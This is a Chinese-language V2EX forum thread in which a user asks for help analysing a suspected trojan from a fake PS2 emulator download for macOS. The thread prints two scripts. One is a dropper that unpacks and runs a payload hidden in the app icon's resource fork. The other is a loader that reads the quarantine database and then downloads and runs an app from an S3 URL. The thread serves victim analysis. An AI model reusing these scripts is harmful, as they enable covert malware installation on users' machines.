遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?

2020-10-31 05:27:22 +08:00
 xfangs

前因

晚上突然想玩一下 ps2 老游戏,打开百度搜索 ps2 模拟器,然后就搜到了这个网站,看起来很正经,还提供了全平台的软件下载,于是我就下载了。

https://ps2smart.com/download.html

案件进行中

打开 dmg 之后,出现一个图标,我下意识就双击运行了。但是和一般 app 不同,双击之后一闪而现了 terminal,然后什么都没发生,我意识到可能翻车了。

目前的信息

我查看了一下伪造成 app 的脚本,内容如下:

#!/bin/bash
TEMP_NAME="$(mktemp -t Installer)"
tail -c 8822 "$0/..namedfork/rsrc" | funzip -GsJPc > "${TEMP_NAME}"
chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 &
killall Terminal
exit

因为涉及到了 ..namedfork/rsrc,所以我补充一下,这里 $0/..namedfork/rsrc 就是那个脚本文件的图标的地址(应该是 macos 特有的路径),这个图标文件大概 140KB 。

我理解的意思是脚本中提取了图标后面约 8KB 的二进制进行解压(解压过后 16KB),然后在后台运行了。

限于个人能力,目前进展停止在了对那个二进制文件反汇编,不知道他究竟在我的电脑中做了什么,所以非常苦恼。因为他是没有获取 root 权限的,所以或许危害不是那么大?

总结

有没有感兴趣的大佬研究研究呀,小弟在这里先行感谢了!

附件

提取到的二进制文件:可运行的未知二进制文件

2055 次点击
所在节点    问与答
4 条回复
wwhc
2020-10-31 05:51:56 +08:00
xfangs
2020-10-31 06:06:59 +08:00
@wwhc 万分感谢,前半段倒是很像,对比后半段他并没有问我要 root 密码。

这个伪造的网站 2020/10/4 还在更新,说明这类病毒还在持续更新中,或许有了新的突破也说不定,希望他的目的只是发发广告
mclxly
2020-10-31 09:46:14 +08:00
我也装过一些网络下载的软件,不晓得中招没
lcdtyph
2020-10-31 10:06:42 +08:00
看了一眼,这个 binary 又执行了下面这个 shell 脚本:

```bash
temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
extract_did() {
local -r url="$(where_from_url)"
local query="${url#*\?}"
local did_find=0
for param in ${query//[=&]/ }; do
((did_find == 1)) && echo "${param}" && break
[ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
done
}
close_terminal() { killall "Terminal"; }
download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
}
unarchive() {
local -r tgz_path="${1}"
[ -z "${tgz_path}" ] && return
local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
rm -rf "${tgz_path}"
}
app_path() {
local -r app_dir="${1}"
[ -z "${app_dir}" ] && return
local -r app_paths=("${app_dir}"/?*.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}
bin_path() {
local -r app_path="${1}"
[ -z "${app_path}" ] && return
local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
local -r binary_path="${binary_paths[0]}"
echo "${binary_path}"
}
exec_bin() {
local -r bin_path="${1}"
local -r did="${2}"
local -r app_path="${3}"
[ -z "${bin_path}" ] && return
"${bin_path}" -did "${did}"
}

main() {
local -r url="${1}"
close_terminal
local -r did="$(extract_did)"
[ -z "${did}" ] && return
local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
local -r arch_path="$(download "${url}" "${tmp_dir}")"
local -r app_dir="$(unarchive "${arch_path}")"
local -r app_path="$(app_path "${app_dir}")"
local -r bin_path="$(bin_path "${app_path}")"
exec_bin "${bin_path}" "${did}" "${app_path}"
rm -rf "${tmp_dir}"
}

main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
```

会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/720368

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX